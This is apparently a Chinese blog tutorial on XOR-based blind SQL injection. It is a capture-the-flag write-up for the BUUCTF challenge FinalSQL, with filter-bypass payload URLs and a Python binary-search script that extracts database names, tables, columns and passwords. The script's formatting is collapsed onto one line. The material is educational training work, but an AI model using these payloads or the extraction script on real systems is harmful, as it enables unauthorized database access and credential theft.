新知识-sql注入中的异或注入(盲注)
1、明确异或注入中的异或是什么
异或注入是盲注的一种类型,因为异或逻辑通常返回的是1和0,所以一般用于盲注中。应用场景是过滤了union select and or orderby等一些关键字。还能绕过空格过滤。
异或符号是 xor 或者 ^
相同为0,不同为1
数字与数字:
1^1 ----------------------0
0^0 ----------------------0
1^0 ----------------------1
字符与字符:
字符中如果没有数字或者数字在字母后面在比较时都会转为数字0,
'admin'=0 'admin12'=0
而当数字在字母前面时会是在字母前面的一堆数字
'1admin'=1 '12admin'=12 'admin'=0 'admin12'=0
数字与字符:
将字符转为数字进行异或操作
'admin1'^1=0^1
'admin'^1=0^1
'1admin'^1=1^1
2、进入数据库测试异或
mysql -uroot -p123456789
查询数据库
show databases;
使用travel数据库
use xxx;
查询数据库中的表名
show tables;
查询表里面的内容
select*from xxx;
测试
select * from plane where uname='roo'^1;这里'roo'=0所以说uname=0^1,所以说uname=1
由此可知当uname=1时查不到结果
select * from plane where uname='roo'^0;这里'roo'=0所以说uname=0^0,所以说uname=0
由此可知uname=0时查到所有结果
3、靶场测试
推荐靶场sqli-labs、[极客大挑战 2019]FinalSQL
我使用的时[极客大挑战 2019]FinalSQL
(1)找注入点
这点我首先在用户名、密码输入了一系列的注入点发现都没有什么效果,这就是这个傻鸟靶场坑的地方。
因此我们就重新找注入点,这里我在做上一个靶场极客大挑战 2019]EasySQL的时候
没有中间这个
因此我们把焦点放在这里尝试点击看看有没有变化
当我点击1的时候,奇异的一幕发生了,我点击进去了
这意味着我们又重新找到了注入点
进行一系列的代码尝试
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1' or 1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1') or 1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1”) or 1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1” or 1=1 -- s
发现都是这个结果,那么就表明可能是or 这个关键字被过滤了
但是当我们把or换成and
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1' and1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1') and1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1”) and1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1” and 1=1 -- s
发现也是相同的结果
(2)尝试一下盲注中的异或注入了
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id='1'^1
id='1'^1这里也就等同于id=1^1,也就为id=0
发现回显变了,说明我们注入点找正确了
继续尝试
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id='1'^0
发现回显又发生了变化,因此我们在后面加入我们想查询的语句
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())>0) 这里length(database())>0如果为真就为1,id=1^1,也就为id=0
回显跟上述测试的一致,因此database长度确实大于0
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())>5)
回显跟上述测试的一致,因此database长度不大于5
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())>3)
证明大于3也是正确的
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())=3)
证明等于3是错误的
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())=4)
证明等于4是正确的
burp抓包找到正确的数据库名
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),1,1))=4)
进行抓包
这里发现状态码不一样,和长度不一样的时候
很多结果都不满足,因此不能用burp来做
4.用二分法得到数据库名
经过一系列的步骤得到
http://ed08a8c9-8604-40f0-8588-f7a1dbe4f727.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),1,1))=103)
第一个字母为103=g
http://ed08a8c9-8604-40f0-8588-f7a1dbe4f727.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),2,1))=101)
第二个字母为101=e
http://ed08a8c9-8604-40f0-8588-f7a1dbe4f727.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),3,1))=101)
第三个字母为101=e
http://ed08a8c9-8604-40f0-8588-f7a1dbe4f727.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),4,1))=107)
第四个字母为107=k
所以最终结果为geek
5、构造脚本
import requests
import time
url = "http://c7f4deb2-e4eb-4cec-a2b4-6014fb5b6c2d.node3.buuoj.cn/search.php?"
temp = {"id" : ""}
column = ""
for i in range(1,1000):
time.sleep(0.06)
low = 32
high =128
mid = (low+high)//2
while(low #库名 temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid) #表名 #temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid) #字段名 #temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid) #内容 #temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid) r = requests.get(url,params=temp) time.sleep(0.04) print(low,high,mid,":") if "Click" in r.text: low = mid+1 else: high = mid mid =(low+high)//2 if(mid ==32 or mid ==127): break column +=chr(mid) print(column) print("All:" ,column) 得到最终flag